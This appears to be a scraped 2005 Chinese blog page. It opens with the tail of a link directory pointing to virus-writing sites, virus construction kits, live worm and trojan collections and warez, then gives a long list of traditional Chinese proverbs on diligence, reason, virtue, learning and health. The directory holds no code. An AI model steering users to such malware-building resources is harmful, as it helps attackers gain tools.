http://low-level.da.ru/ Descriptions of different types of viruses (french). (3349 hits since 10/08/02, avg/day 2.8964)
Virus magazines
http://madchat.org/vxdevl/ Big collection of virus e-zines and other virus related materials. FTP-style. (4894 hits since 12/12/02, avg/day 4.4817)
Virus Search Engine Ver 1.0
http://altavirus.cjb.net/ Small search engine on computer virus sites (4864 hits since 12/31/01, avg/day 3.3844)
Virus Wizard
http://www.geocities.com/randy027dsz36/ Virus Wizard Creation Tool (4048 hits since 12/27/02, avg/day 3.7593)
VX CHAOS FILE SERVER: Virii, Worms, Anti-Virus, Hacker Tools, Warez, Codes
http://vxchaos.cjb.net/ Virus and worm collection live and sources, virus writer ezines, tutorials and how to's, Virus Creation Programs And Construction Kits (VCK), PolyEngines, Trojans and Backdoors and more! (2610 hits since 04/18/05, avg/day 11.1582)
VX Forum
http://virii.host.sk/ Forum about viruses, and virus programming. (70 hits since 11/20/05, avg/day 3.9199)
Yugene Egorov
http://www.geocities.com/bio_yugene/ Small page in russian about viruses (several viruses, tutorials) (3623 hits since 12/13/02, avg/day 3.3225)
Zl0ba
http://zl0ba.boom.ru/
星期三, 十二月 07, 2005
星期日, 十二月 04, 2005
谚语
◆一等二靠三落空,一想二干三成功。
◆一天不练手脚慢,两天不练丢一半,三天不练门外汉,四天不练瞪眼看。
◆十年练得好文秀才,十年练不成田秀才。
◆人在世上练,刀在石上磨。
◆人行千里路,胜读十年书。
◆人心隔肚皮,看人看行为。
◆力是压大的,胆是吓大的。
◆三天不念口生,三年不做手生。
◆口说无凭,事实为证。
◆湖里游着大鲤鱼,不如桌上小鲫鱼。
◆口说不如身到,耳闻不如目睹。
◆山里孩子不怕狼,城里孩子不怕官。
◆万句言语吃不饱,一捧流水能解渴。
◆山是一步一步登上来的,船是一橹一橹摇出去的。
◆千学不如一看,千看不如一练。
◆久住坡,不嫌陡。
◆马看牙板,人看言行。
◆不经冬寒,不知春暖。
◆不挑担子不知重,不走长路不知远。
◆不在被中睡,不知被儿宽。
◆不下水,一辈子不会游泳;不扬帆,一辈子不会撑船。
◆不当家,不知柴米贵;不生子,不知父母恩。
◆不摸锅底手不黑,不拿油瓶手不腻。
◆水落现石头,日久见人心。
◆打铁的要自己把钳,种地的要自己下田。
◆打柴问樵夫,驶船问艄公。
◆宁可做过,不可错过。
◆头回上当,二回心亮。
◆发回水,积层泥;经一事,长一智。
◆耳听为虚,眼见为实。
◆老马识路数,老人通世故。
◆老人不讲古,后生会失谱。
◆老牛肉有嚼头,老人言有听头。
◆老姜辣味大,老人经验多。
◆百闻不如一见,百见不如一干。
◆吃一回亏,学一回乖。
◆当家才知盐米贵,出门才晓路难行。
◆光说不练假把式,光练不说真把式,连说带练全把式。
◆多锉出快锯,多做长知识。
◆树老根多,人老识多。
◆砍柴上山,捉鸟上树。
◆砍柴砍小头,问路问老头。
◆砂锅不捣不漏,木头不凿不通。
◆草遮不住鹰眼,水遮不住鱼眼。
◆药农进山见草药,猎人进山见禽兽。
◆是蛇一身冷,是狼一身腥。
◆香花不一定好看,会说不一定能干。
◆经一番挫折,长一番见识。
◆经得广,知得多。
◆要知山中事,乡间问老农。
◆要知父母恩,怀里抱儿孙。
◆要吃辣子栽辣秧,要吃鲤鱼走长江。
◆树老半空心,人老百事通。
◆一人说话全有理,两人说话见高低。
◆一正辟三邪,人正辟百邪。
◆一时强弱在于力,万古胜负在于理。
◆一理通,百理融。
◆人怕没理,狗怕夹尾。
◆人怕理,马怕鞭。
◆人横有道理,马横有缰绳。
◆人多出正理,谷多出好米。
◆不看人亲不亲,要看理顺不顺。
◆天上无云不下雨,世间无理事不成。
◆天下的弓都是弯的,世上的理都是直的。
◆天无二日,人无二理。
◆井越掏,水越清;事越摆,理越明。
◆无理心慌,有理胆壮。
◆牛无力拖横耙,人无理说横话。
◆认理不认人,不怕不了事。
◆认理不认人,帮理不帮亲。水大漫不过船,手大遮不住天。
◆水不平要流,理不平要说。
◆水退石头在,好人说不坏。
◆以势服人口,以理服人心。
◆让人一寸,得理一尺。
◆有理说实话,没理说蛮话。
◆有理的想着说,没理的抢着说。
◆有理不怕势来压,人正不怕影子歪。
◆有理不在言高,有话说在面前。
◆有理不可丢,无理不可争。
◆有理赢,无理输。
◆有理摆到事上,好钢使到刃上。
◆有理走遍天下,无理寸步难行。
◆有斧砍得树倒,有理说的不倒。
◆有志不在年高,有理不在会说。
◆吃饭吃米,说话说理。
◆吃人的嘴软,论人的理短。
◆吃要吃有味的,说要说有理的。
◆会走走不过影,会说说不过理。
◆舌头是肉长的,事实是铁打的。
◆灯不亮,要人拨;事不明,要人说。
◆灯不拨不亮,理不辩不明。
◆好人争理,坏人争嘴。
◆好茶不怕细品,好事不怕细论。
◆好酒不怕酿,好人不怕讲。
◆走不完的路,知不完的理。
◆走路怕暴雨,说话怕输理。
◆坛口封得住,人口封不住。
◆理不短,嘴不软。
◆菜没盐无味,话没理无力。
◆脚跑不过雨,嘴强不过理。
◆做事循天理,出言顺人心。
◆船稳不怕风大,有理通行天下。
◆煮饭要放米,讲话要讲理。
◆隔行如隔山,隔行不隔理。
◆鼓不敲不响,理不辩不明。
◆路是弯的,理是直的。
◆路不平,众人踩;事不平,大家管。
◆路有千条,理只一条。
◆碾谷要碾出米来,说话要说出理来。
◆稻多打出米,人多讲出理。
◆劈柴看纹理,说话凭道理。
◆人有志,竹有节。
◆人有恒心万事成,人无恒心万事崩。
◆人不在大小,马不在高低。人往高处走,水往低处流。
◆人往大处看,鸟往高处飞。
◆人争气,火争焰,佛争一炷香。
◆人老心不老,身穷志不穷。
◆人要心强,树要皮硬。
◆人凭志气,虎凭威势。
◆人怕没志,树怕没皮。
◆人起心发,树起根发。
◆三百六十行,行行出状元。
◆山高有攀头,路远有奔头。
◆山高流水长,志大精神旺。
◆小人记仇,君子长志。
◆不怕路长,只怕志短。
◆不怕百事不利,就怕灰心丧气。
◆不怕山高,就怕脚软。
◆不怕学不成,就怕心不诚。
◆不怕学问浅,就怕志气短。
◆不担三分险,难练一身胆。
◆不磨不炼,不成好汉。
◆木尺虽短,能量千丈。
◆天下无难事,只怕有心人。
◆天无一月雨,人无一世穷。
◆天不生无用之人,地不长无名之草。
◆无志山压头,有志人搬山。
◆见强不怕,遇弱不欺。
◆月缺不改光,箭折不改钢。
◆水深难见底,虎死不倒威。
◆水往下流,人争上游。
◆只要自己上进,不怕人家看轻。
◆只有上不去的天,没有过不去的山。
◆只怕不勤,不怕不精;只怕无恒,不怕无成。
◆只给君子看门,不给小人当家。
◆鸟贵有翼,人贵有志。
◆鸟往明处飞,人往高处去。
◆生人不生胆,力大也枉然。
◆宁可身冷,不可心冷;宁可人穷,不可志穷。
◆宁可身骨苦,不叫面皮羞。
◆宁做蚂蚁腿,不学麻雀嘴。
◆宁做穷人脚下土,不做财主席上珍。
◆宁愿折断骨头,不愿低头受辱。
◆宁给好汉拉马,不给懒汉作爷。
◆宁给穷人一斗,不给富人一口。
◆宁吃开眉粥,不吃皱眉饭。
◆宁肯给君子提鞋,不肯和小人同财。
◆宁打金钟一下,不打破鼓千声。
◆宁叫钱吃亏,不叫人吃亏。
◆宁死不背理,宁贫不堕志。
◆有志不在年高,无志空长百岁。
◆有上不去的天,没过不去的关。
◆有山必有路,有水必有渡。
◆百日连阴雨,总有一朝晴。
◆吃过的馍馍不香,嚼过的甘蔗不甜。
◆好汉凭志强,好马凭胆壮。
◆好汉不吃闷头亏,好鸟不钻刺笆林。
◆好汉做事干到底,好马登程跑到头。
◆好男不争财和产,好女不争嫁时衣。
◆好鼓一打就响,好灯一拔就亮。
◆志高品高,志下品下。
◆走路不怕上高山,撑船不怕过险滩。
◆男人无志,钝铁无钢,女人无志,乱草无秧。
◆秀才饿死不卖书,壮士穷途不卖剑。
◆谷要自长,人要自强。
◆没有锯不倒的树,没有敲不响的钟。
◆穷莫失志,富莫癫狂。
◆穷人不攀高亲,落雨不爬高墩。
◆君子报仇,十年不晚。
◆君子报仇三年,小人报仇眼前。
◆虎不怕山高,鱼不怕水深。
◆虎瘦雄心在,人穷志不短。
◆树老根子深,人老骨头硬。
◆树怕烂根,人怕无志。
◆草若无心不发芽,人若无心不发达。
◆胆大骑龙骑虎,胆小骑猫骑兔。
◆胆大走遍天下,胆小寸步难行。
◆秤砣虽小,能压千斤。
◆留得青山在,不怕没柴烧。
◆浪再高,也在船底;山再高,也在脚底。
◆菜无心必死,人无心必亡。
◆菜能吃,糠能吃,气不能吃;吃能让,穿能让,理不能让。
◆猛虎不处劣势,雄鹰不立垂枝。
◆绳锯木断,水滴石穿。
◆愁人苦夜长,志士惜日短。
◆愿为众人死,不为一人亡。
◆撒网要撒迎头网,开船要开顶风船。
◆一人修路,万人安步。
◆一人作恶,万人遭殃。
◆一人不说两面话,人前不讨两面光。
◆一山出虎,百家猪死。
◆一字两头平,戥秤不亏人。
◆一好遮不了百丑,百好遮不了一丑。
◆一个鸡蛋吃不饱,一身臭名背到老。
◆人怕放荡,铁怕落炉。
◆人怕引诱,塘怕渗透。
◆人怕私,地怕荒。
◆人怕没脸,树怕没皮。
◆人靠自修,树靠人修。
◆人靠心好,树靠根牢。
◆人心换人心,八两换半斤。
◆人前若爱争长短,人后必然说是非。
◆人要实心,火要空心。
◆人是实的好,姜是老的辣。
◆入山不怕伤人虎,只怕人情两面刀。
◆刀伤易治,口伤难医。
◆大路有草行人踩,心术不正旁人说。
◆千金难买心,万金不卖道。
◆小时偷针,大了偷金。
◆小人记仇,君子感恩。
◆不怕怒目金刚,只怕眯眼菩萨。
◆不怕虎狼当面坐,只怕人前两面刀。
◆不怕人不敬,就怕己不正。
◆不怕鬼吓人,就怕人吓人。
◆不要骑两头马,不要喝两头茶。
◆不是你的财,别落你的袋。
◆不吃酒,脸不红;不做贼,心不惊。
◆不图便宜不上当,贪图便宜吃大亏。
◆天凭日月,人凭良心。
◆歹马害群,臭柑豁筐。
◆劝人终有益,挑唆害无穷。
◆打人两日忧,骂人三日羞。
◆打空拳费力,说空话劳神。
◆击水成波,击石成火,激人成祸。
◆只可救人起,不可拖人倒。
◆只可劝人家圆,不可劝人家离。
◆只可救苦,不可救赌。
◆只有修桥铺路,没有断桥绝路。
◆只有千里的名声,没有千里的威风。
◆鸟惜羽毛虎惜皮,为人处世惜脸皮。
◆宁可认错,不可说谎。
◆宁可荤口念佛,不可素口骂人。
◆宁可无钱,不可无耻。
◆宁可正而不足,不可邪而有余。
◆宁可明枪交战,不可暗箭伤人。
◆宁可一日没钱使,不可一日坏行止。
◆宁叫心受苦,不叫脸受热。
◆宁伸扶人手,莫开陷人口。
◆宁救百只羊,不救一条狼。
◆发誓发得灵,监房无罪人。
◆皮鞭伤肉,恶语伤心。
◆有话说在当面,有事摆在眼前。
◆有势不可使尽,有福不可享尽。
◆有心烧香,不论早晚。
◆当着真人,别说假话。
◆行为不正经,舌头短三分。
◆明人不做暗事,真人不说假话。
◆知足得安宁,贪心易招祸。
◆知足称君子,贪婪是小人。
◆知足常乐,终身不辱。
◆知过不难改过难,言善不难行善难。
◆狗咬人,有药治;人咬人,没药医。
◆狐狸总要露尾巴,毒蛇总要吐舌头。
◆贪图小利,难成大事。
◆使心用心,反害自身。
◆和气生财,忤逆生灾。
◆学好三年,学坏三天。
◆学好千日不足,学坏一日有余。
◆放虎归山,必有后患。
◆刻薄不赚钱,忠厚不折本。
◆刻薄成家,终无久享。
◆做贼瞒不得乡里,偷食瞒不得舌齿。
◆做贼偷葱起,贪污揩油起。
◆偷来钱,两三天;血汗钱,万万年。
◆偷吃不肥,做贼不富。
◆脚正不怕鞋歪,心正不怕雷打。
◆脚踏十字稳,不怕棒槌滚。
◆猫鼠不同眠,虎鹿不同行。
◆船头坐得稳,不怕风来颠。
◆银钱如粪土,脸面值千金。
◆清贫常乐,浊富多忧。
◆谎话讲不得,庄稼荒不得。
◆麻雀落田要吃谷,狐狸进屋要偷鸡。
◆欺山莫欺水,欺人莫欺心。
◆一个和尚挑水喝,两个和尚抬水喝,三个和尚没水喝。
◆一心想赶两只兔,反而落得两手空。
◆一回经蛇咬,三年怕草绳。
◆一问三不知,神仙没法治。
◆一年算得三次命,无病也要变有病。
◆一瓶子水不响,半瓶子水乱晃。
◆人心不足蛇吞象,贪心不足吃月亮。
◆人在福中不知福,船在水中不知流。
◆人见利而不见害,鱼见食而不见钓。
◆人爱富的,狗咬穷的。
◆人越嬉越懒,嘴越吃越馋。
◆自己做错不算数,别人做错打屁股。
◆自家的肉不香,人家的菜有味。
◆自称好,烂稻草。
◆多鸣之猫,捕鼠必少。
◆论旁人斤斤计较,说自己花好稻好。
◆好药难治冤孽病,好话难劝糊涂虫。
◆伶俐人一拨三转,糊涂人棒打不回。
◆身穿三尺衣,说话无高低。
◆没钱时挨饿,有钱时耀阔。
◆纸做花儿不结果,蜡做芯儿近不得火。
◆鸡大飞不过墙,灶灰筑不成墙。
◆看人挑担不吃力,自己挑担步步歇。
◆看佛警僧,看父警子。
◆说话看势头,办事看风头。
◆爹不识耕田,子不识谷种。
◆病急乱投医,逢庙就烧香。
◆家人说话耳旁风,外人说话金字经。
◆家无主心骨,扫帚颠倒竖。
◆烧的香多,惹的鬼多。
◆娘痛儿,路样长;儿痛娘,线样长。
◆娘想儿,长江水,儿想娘,扁担长。
◆能大能小是条龙,只大不小是条虫。
◆眼大肚子小,争起吃不了。
◆眼睛不识宝,灵芝当蓬蒿。
◆一路精,赚金又赚银;路路精,无钱吃点心。
◆十里认人,百里认衣。
◆大王好见,小鬼难求。
◆大老爷丢签,老百姓啃砖。
◆大树一倒,猢狲乱跑。
◆大黄医好人无功,人参治死人无过。
◆三年清知府,十万雪花银。
◆下不得毒手,成不了财主。
◆上了赌场,不认爹娘。
◆门前有个讨饭棍,骨肉至亲不上门。
◆门前出起青草墩,嫡亲娘舅当外人。
◆小人自大,小溪声大。
◆天下乌鸦一般黑,世上财主一样狠。
◆天下衙门朝南开,有理无钱莫进来。
◆天大的官司,地大的银子。
◆天理地理,有钱有理。
◆不种泥田吃好饭,不养花蚕着好丝。
◆牛角越长越弯,财主越大越贪。
◆牛眼看人高,狗眼看人低。
◆父望子成龙,子望父升天。
◆为富不仁 ,为仁不富。
◆文官三只手,武官四条腿。
◆文官动动嘴,武官跑断腿。
◆火到猪头烂,钱到公事办。
◆财大折人,势大压人。
◆冷,冷在风里,穷,穷在租里。
◆穷人心肠好,富人心如刀。
◆穷人手脚黑,富人心眼黑。
◆穷人求饭吃,富人胀破肚。
◆穷人的汗,富人的饭。
◆闷头狗,暗下口。
◆武官会杀,文官会刮。
◆拍马有个架,先笑后说话。
◆狗咬穿烂的,人舔穿好的。
◆狗仗人势,雪仗风势。
◆狗朝屁走,人朝势走。
◆贪婪鬼没个饱,吝啬鬼不知富。
◆贫居闹市无人问,富在深山有远亲。
◆和尚不说鬼,袋里没有米。
◆一手难遮两耳风,一脚难登两船。
◆一手捉不住两条鱼,一眼看不清两行书。
◆一人传虚,百人传实。
◆一样事,百样做。
◆一口吃不成胖子,一步跨不到天边。
◆一羽示风向,一草示水流。
◆一笔画不成龙,一锹挖不出井。
◆一分价钱一分货,十分价钱买不错。
◆十个钱要花,一个钱要省。
◆十月怀胎,一朝分娩。
◆人不可貌相,海水不可斗量。
◆人看从小,马看踢蹄。
◆人无远虑,必有近忧。
◆龙无云不行,鱼无水不生。
◆龙眼识珠,凤眼识宝,牛眼识草。
◆未晚先投宿,鸡鸣早看天。
◆出门看天色,炒菜看火色。
◆用人不疑,疑人不用。
◆瓜无滚圆,人无十全。
◆宁失一事,不失一时。
◆对强盗只能用刀子,对恶狗只能用棍子。
◆有多大的脚,穿多大的鞋。
◆有一兴必有一败,有一利必有一弊。
◆有话说在明处,有药敷在痛处。
◆有果必有因,有利必有害。
◆有上坡必有下坡,有进路必有出路。
◆吃饭先尝一尝,做事先想一想。
◆吃菜吃心,听话听音。
◆当断不断,反受其乱。
◆刚则易折,柔则常存。
◆会说的惹人笑,不会说的惹人跳。
◆会怪怪自己,不会怪怪别人。
◆会跳的先缩脚,会撞的先缩脖。
◆全是生姜不辣,全是花椒不麻。
◆先钉桩子后系驴,先撒窝子后钓鱼。
◆多下及时雨,少放马后炮。
◆多深的根基,筑多高的墙。
◆行船趁顺风,打铁趁火红。
◆人无笑脸休开店,会打圆场自落台。
◆人美不在貌,美在心意好。
◆人讲礼义为先,树讲花果为原。
◆大欺小,不公道;大帮小,呱呱叫。
◆小心不怕多,有礼不在迟。
◆小的不哄,老的不欺。
◆不怕衣服有补钉,只怕心灵有污点。
◆见人不施礼,枉跑四十里;见人施一礼,少走十里地。
◆打怕的人是假的,敬怕的人是真的。
◆打人不打脸,吃饭不夺碗。
◆叫人不蚀本,舌头打个滚。
◆让礼一寸,得礼一尺。
◆让路不是痴汉,躲路不是呆人。
◆当着矮人,别说矮话。
◆争着不够吃,让着吃不了。
◆行路能开口,天下随便走。
◆好饭不怕晚,好话不嫌慢。
◆买卖不成仁义在。
◆你敬人一尺,人敬您一丈。
◆你对人无情,人对你薄意。
◆冷天莫遮火,热天莫遮风。
◆君子动口,小人动手。
◆君子争礼,小人争嘴。
◆忍一句,息一怒;饶一着,赢一步。
◆若要好,大让小。
◆事怕合计,人怕客气。
◆和人路路通,惹人头碰痛。
◆美言美语受人敬,恶言恶语伤人心。
◆说归说,笑归笑,动手动脚没家教。
◆逢着瞎子不谈光,逢着癞子不谈疮。
◆病好不谢医,下次无人医。
◆爱徒如爱子,尊师如尊父。
◆敬老得老,敬禾得宝。
◆一天省下个葫芦头,一年省下只大黄牛。
◆一天省下一两粮,十年要用仓来装。
◆一天省一把,十年买匹马。
◆一天一根线,十年积成缎。
◆一天吃餐粥,一年省石谷。
◆一滴汗珠万粒粮,细水长流度灾荒。
◆万石谷,粒粒积累;千丈布,根根织成。
◆万物土中生,全靠两手勤。
◆寸土寸金,地是老根。
◆寸土不空,粮食满囤。
◆上山弯弯腰,回家有柴烧。
◆千靠万靠,不如自靠。
◆门前有马非为富,家中有人不算穷。
◆不怕天寒地冻,就怕手脚不动。
◆不怕慢,就怕站;站一站,二里半。
◆不怕少年苦,只怕老来穷。
◆不怕吃饭拣大碗,就怕干活爱偷懒。
◆少不惜力,老不歇心。
◆手艺是活宝,天下饿不倒。
◆长江不拒细流,泰山不择土石。
◆今日有酒今朝醉,明天倒灶喝凉水。
◆从俭入奢易,从奢入俭难。
◆毛毛雨,打湿衣裳;杯杯酒,吃垮家当。
◆心要常操,身要长劳。
◆火越烧越旺,人越干越壮。
◆尺有尺用,寸有寸用。
◆双手是活宝,一世用不了。
◆水滴石穿,坐食山空。
◆功成由俭,业精于勤。
◆好问不迷路,好做不受贫。
◆劳动钱,万万年,贪污钱,在眼前。
◆求人不如求己,使人不如使腿。
◆弄花一年,看花一日。
◆囤尖省,日子长;囤底省,打饥荒。
◆囤尖浪费看不见,到了囤底后悔迟。
◆男也懒,女也懒,下雨落雪翻白眼。
◆坐吃山空,立吃地陷。
◆每日省一钱,三年并一千。
◆近河莫枉费水,近山莫枉烧柴。
◆冷天不冻下力汉,黄土不亏勤劳人。
◆没有乡下泥腿,饿死城里油嘴。
◆没有大粪臭,哪来五谷香。
◆一个不敌两人计,三人合唱二台戏。
◆一人一双手,做事没帮手,十人十双手,拖着泰山走。
◆一个巴掌拍不响,一人难唱独板腔。
◆一个巧皮匠,没有好鞋样;两个笨皮匠,彼此有商量;三个臭皮匠,胜过诸葛亮。
◆一根草搓不成索,一根篾编不成箩。
◆一根木头难成排,一根稻草难捆柴。
◆一根线,容易断;千根线,能拉纤。
◆一根竹竿容易弯,三缕丝线扯断难。
◆一只脚难走路,一个人难成户。
◆一只蜂酿不成蜜,一颗米熬不成粥。
◆三勤一懒,想懒不得懒;三懒一勤,想勤不得勤。
◆千树连根,十指连心。
◆风大就凉,人多就强。
◆平时肯帮人,急时有人帮。
◆兄弟同心金不换,妯娌齐心家不散。
◆兄弟协力山成玉,父子同心土变金。
◆鸟多不怕鹰,人多把山平。
◆有福同享,有难同当。
◆团结一条心,黄土变成金。
◆会说难抵两口,会做难抵两手。
◆远亲不如近邻,近邻不如对门。
◆助人要及时,帮人要诚心。
◆邻居失火,不救自危。
◆兵不离队,鸟不离群。
◆弟兄不和邻里欺,将相不和邻国欺。
◆虎离山无威,鱼离水难活。
◆单丝不成线,独木不成林。
◆单筷难挟菜,独翅难飞天。
◆砖连砖成墙,瓦连瓦成房。
◆独柴难引火,蓬柴火焰高。
◆独木不成林,单弦不成音。
◆家不和,外人欺。
◆家和日子旺,国和万事兴。
◆一人难驾大帆船,双手难遮众人眼。
◆一人难顺百人意,一墙难挡八面风。
◆一针不补,十针难缝;有险不堵,成灾叫苦。
◆一只眼,看不远;千只眼,看穿天。
◆一娇百病生,浅水溺死人。
◆出笼的鸟儿难回,出口的话儿难收。
◆只有大意吃亏,没有小心上当。
◆失事容易,得事艰难。
◆宁可悔了改,不可做了悔。
◆宁走十步远,不走一步险。
◆对人要宽,对己要严。
◆过头话少说,过头事少做。
◆有麝自然香,不用大风扬。
◆吃饭防噎,走路防跌。
◆自夸没人爱,残花没人戴。
◆字不可重写,话不可乱传。
◆豆腐莫烧老了,大话莫说早了。
◆实干能成事,虚心能添智。
◆绊人的桩,不一定高;咬人的狗,不一定叫。
◆居家要俭,行旅要慎。
◆树大招风,气大遭凶。
◆食多伤胃,言多语失。
◆说话细思考,吃饭细咀嚼。
◆前留三步好走,后留三步好退。
◆盐多了咸,话多了烦。
◆紧行无好步,慢尝得滋味。
◆柴经不起百斧,人经不起百语。
◆逢人莫乱讲,逢事莫乱闯。
◆一日读书一日功,一日不读十日空。
◆一日不读口生,一日不写手生。
◆一艺不精,误了终身。
◆一天学会一招,十天学会一套。
◆刀枪越使越亮,知识越积越多。
◆刀钝石上磨,人笨人前学。
◆刀快还要加钢,马壮还要料强。
◆刀不磨要生锈,人不学要落后。
◆三分靠教,七分靠学。
◆土地贵在耕种,知识贵在运用。
◆小时不教成浑虫,长大不学成懒龙。
◆不怕事情难,就怕不耐烦。
◆不读一家书,不识一家字。
◆天无边,智无限。
◆木不凿不通,人不学不懂。
◆井掏三遍好吃水,人从三师武艺高。
◆比赛必有一胜,苦学必有一成。
◆牛不训不会耕,马不练不能骑。
◆手指有长有短,知识有高有低。
◆心不可不用,地不可不种。
◆心专才能绣得花,心静才能织得麻。
◆水滴集多成大海,读书集多成学问。
◆玉不琢,不成器;木不雕,不成材;人不学,不知理。
◆世上无难事,只怕有心人。
◆东西越用越少,学问越学越多。
◆只要功夫深,铁杵磨成针。
◆鸟贵有翼,人贵有智。
◆边学边问,才有学问。
◆有子不教,不如不要。
◆老要常讲,少要常问。
◆吃饭不嚼不知味,读书不想不知意。
◆师傅领进门,巧妙在各人。
◆多从一家师,多懂一家艺。
◆自在不成人,成人不自在。
◆会说的不如会听的,会教的不如会学的。
◆众人里面有圣贤,土石里面有金银。
◆好铁要经三回炉,好书要经百回读。
◆学在苦中求,艺在勤中练。
◆话中有才,书中有智。
◆河水不再倒流,人老不再黑头。
◆细想出智慧,细嚼出滋味。
◆细工出巧匠,细泥浇好瓦。
◆要得会,天天累;要得精,用命拼。
◆要得惊人艺,须下苦功夫。
◆树靠人修,学靠自修。
◆种田不离田头,读书不离案头。
◆修树趁早,教子趁小。
◆泉水挑不干,知识学不完。
◆活到老学到老,学到八十仍嫌少。
◆积钱不如教子,闲坐不如看书。
◆造烛求明,读书求理。
◆爹娘养身,自己长心。
◆一个朋友一条路,一个冤家一堵墙。
◆一家养女百家求,一马不行百马忧。
◆人有人情,戏有戏味。
◆人急投亲,鸟急投林。
◆儿子疼小的,媳妇疼巧的。
◆儿多不如儿少,儿少不如儿好。
◆亏地不结籽,亏人不相交。
◆广交不如择友,投师不如访友。
◆子不嫌母丑,狗不嫌家贫。
◆马好坏骑着看,友好坏交着看。
◆马好不在叫,人美不在貌。
◆无妻不成家,无梁不成屋。
◆公鸡打架头对头,夫妻吵嘴不记仇。
◆月有圆有缺,人有聚有别。
◆今天来客,往日有意;今天打架,往日有气。
◆长兄如父,老嫂比母。
◆水大不能漫船,职大不能欺亲。
◆打铁不惜炭,养儿不惜饭。
◆节令不到,不知冷暖;人不相处,不知厚薄。
◆出门靠朋友,在家靠父母。
◆宁交双脚跳,不交眯眯笑。
◆有情饮水饱,无情吃饭饥。
◆朽木不可为柱,坏人不可为伍。
◆吃得好,穿得好,不如两口白头老。
◆岁寒知松柏,患难见交情。
◆会选的选儿郎,不会选的选家当。
◆会嫁嫁对头,不会嫁嫁门楼。
◆会交的交三辈,不会交的交一辈。
◆行要好伴,居要好邻。
◆交友分厚薄,穿衣看寒暑。
◆交义不交财,交财两不来。
◆衣不如新,人不如故。
◆好狗不咬鸡,好汉不打妻。
◆买马要看口齿,交友要摸心底。
◆男怕入错行,女怕嫁错郎。
◆近邻不可断,远友不可疏。
◆邻舍好,无价宝。
◆穷家难舍,熟地难离。
◆一日之计在于晨,一年之计在于春。
◆一年富,拾粪土;十年富,多种树。
◆十年老不了一个人,一天误掉了一个春。
◆十成收粮,九成靠秧。
◆七十二行,庄稼为王。
◆人怕老来穷,苗怕钻心虫。
◆人怕伤心,树怕剥皮。
◆人补桂圆蜜枣,田补河泥水草。
◆人要靠五谷养,田靠粪土长。
◆人治水,水利人,人不治水水害人。
◆人生病,不舒服;秧生病,不长谷。
◆人忙天不忙,迟早一路黄。
◆人误地一时,地误人一年。
◆小燕来,好种田;大雁来,好过年。
◆无灾人养树,有灾树养人。
◆无事田中走,谷米长几斗。
◆天干三年吃饱饭,虫害一时饿死人。
◆不知季节看花草,不知地气看五木。
◆不下百粒籽,难打千斤粮。
◆牛要满饱,马要夜草。
◆牛怕晨霜,马怕夜雨。
◆牛要脚圆,猪要脚粗。
◆六月不热,五谷不结。
◆水是田的娘,无水苗不长。
◆生口的要吃,长根的要肥。
◆禾苗不认爹和娘,耕作到家多打粮。
◆一家不知一家,和尚不知道家。
◆一粒米度三关,三粒米爬过山。
◆一层布儿一层风,十层布儿过一冬。
◆一壶难装两样酒,一树难开两样花。
◆一马不配两鞍,一脚难踏两船。
◆一青一黄是一年,一黑一白是一天。
◆十个叔叔抵不上一个老子,十件褂子抵不上一件袄子。
◆十朵菊花九朵黄,十个女儿九像娘。
◆七月蛇拦路,八月蛇上树。
◆人老了丑,树老了朽,为人难得十八九。
◆人有相像,货有相同。
◆衣冷加根带,饭少加碗菜。
◆好狗不跳,好猫不叫。
◆好树结好果,好铁铸好锅。
◆好鼓一打就响,好灯一拨就亮。
◆把舵的不慌,乘船的稳当。
◆男要俏,一身皂;女要俏,三分孝。
◆男大当婚,女大当嫁。
◆针无两头锋利,人无两副身心。
◆乱丝难理,泼妇难治。
◆秀才遇到兵,有理说不清。
◆没有不上钩的鱼,没有不上竿的猴。
◆纸上画藤不结瓜,芦花虽白难纺纱。
◆驴骑后,马骑前,骡子骑在腰中间。
◆直木先伐,甘井先竭。
◆一身戏在脸上,一脸戏在眼上。
◆大路不走草成窝,好歌不唱忘记多。
◆不怕人不请,就怕艺不精。
◆不经一师,不长一艺。
◆无巧不成书。
◆艺高人胆大。
◆文戏靠嘴,武戏靠腿。
◆文无定法,事有定规。
◆只要唱的戏好,不在开场迟早。
◆旦角要嫩,花脸要笨。
◆生不恋旦,班子要散;旦不恋生,班子要崩。
◆百艺不如一艺精。
◆会写的坐着,会唱的站着。
◆好戏不唱三台,好曲不唱三遍。
◆财压奴婢,艺压当行。
◆身在戏中,戏在心中。
◆冷死花旦,热死武生。
◆画人难画手,画树难画柳,画马难画走,画兽难画狗。
◆一天舞几舞,长命九十五。
◆一日练,一日功,十日不练十日空。
◆一脉不和,周身不适。
◆一饱为足,十饱伤人。
◆一顿吃伤,十顿吃汤。
◆一颗牙齿痛,满嘴不安宁。
◆人有四百病,医有八百方。
◆人勤病就懒,人懒病就勤。
◆人强人欺病,人弱病欺人。
◆人黄有病,苗黄缺肥。
◆入厨先洗手,上灶莫多言。
◆冬不蒙首,春不露脊。
◆饥梳头,饱洗澡。
◆生瓜梨枣,多吃不好。
◆白露身子不露,免得着凉泻肚。
◆宁叫嘴受穷,不叫病缠身。
◆宁可锅里放坏,不可肚里硬塞。
◆宁添一斗,莫添一口。
◆头对风,暖烘烘;脚对风,请郎中。
◆立如松,坐如钟,卧如弓,行如风。
◆有病早治,省钱省事。
◆老怕伤风,少怕痢疾。
◆老怕冬冷,少怕秋凉。
◆早饭吃得饱,午饭吃得好,晚饭吃得少,不用大夫瞧。
◆早起动动腰,一天少疲劳。
◆吃萝卜,喝热茶,大夫改行拿钉耙。
◆吃饭先喝汤,老了不受伤。
◆吃药不忌嘴,跑断大夫腿。
◆吃得慌,咽得忙,伤了胃口伤了肠。
◆吃了走百步,不用上药铺。
◆吃了省钱瓜,害了绞肠痧。
◆吃米带点糠,老小都安康。
◆吃面多喝汤,省得开药方。
◆吃酒不吃菜,必定醉得快。
◆吃穿当时,活到九十。
◆吃不言,睡不语。
◆吸不张口,呼不闭口。
◆先睡心,后睡眼。
◆先胖不会胖,后胖压塌床。
◆会吃千顿香,不会吃一顿伤。
◆汤淡易馊,人急易瘦。
◆热药冷吃,冷药热吃。
◆笑一笑,少一少;恼一恼,老一老。
◆凉九暖三,注意衣衫。
◆病后求医,不如病前预防。
◆病来如山倒,病去如抽丝。
◆眼睛害病从手起,肚子害病从嘴起。
◆常用的铁不锈,常练的人不病。
◆得病如射箭,治病如背纤。
◆庸医治标,名医治本。
◆粗饭养人,粗活益身。
◆朝食三块姜,如得人参汤。
◆遇事不怒,基本吃素,饭后百步,劳逸适度。
◆寒从足下起,火从头上生。
◆痘要结,麻要泄
◆一乡一俗,一弯一曲。
◆二月二,三月三,清明寒食过三天。
◆人不在大小,要有本事;山不在高低,要有景致。
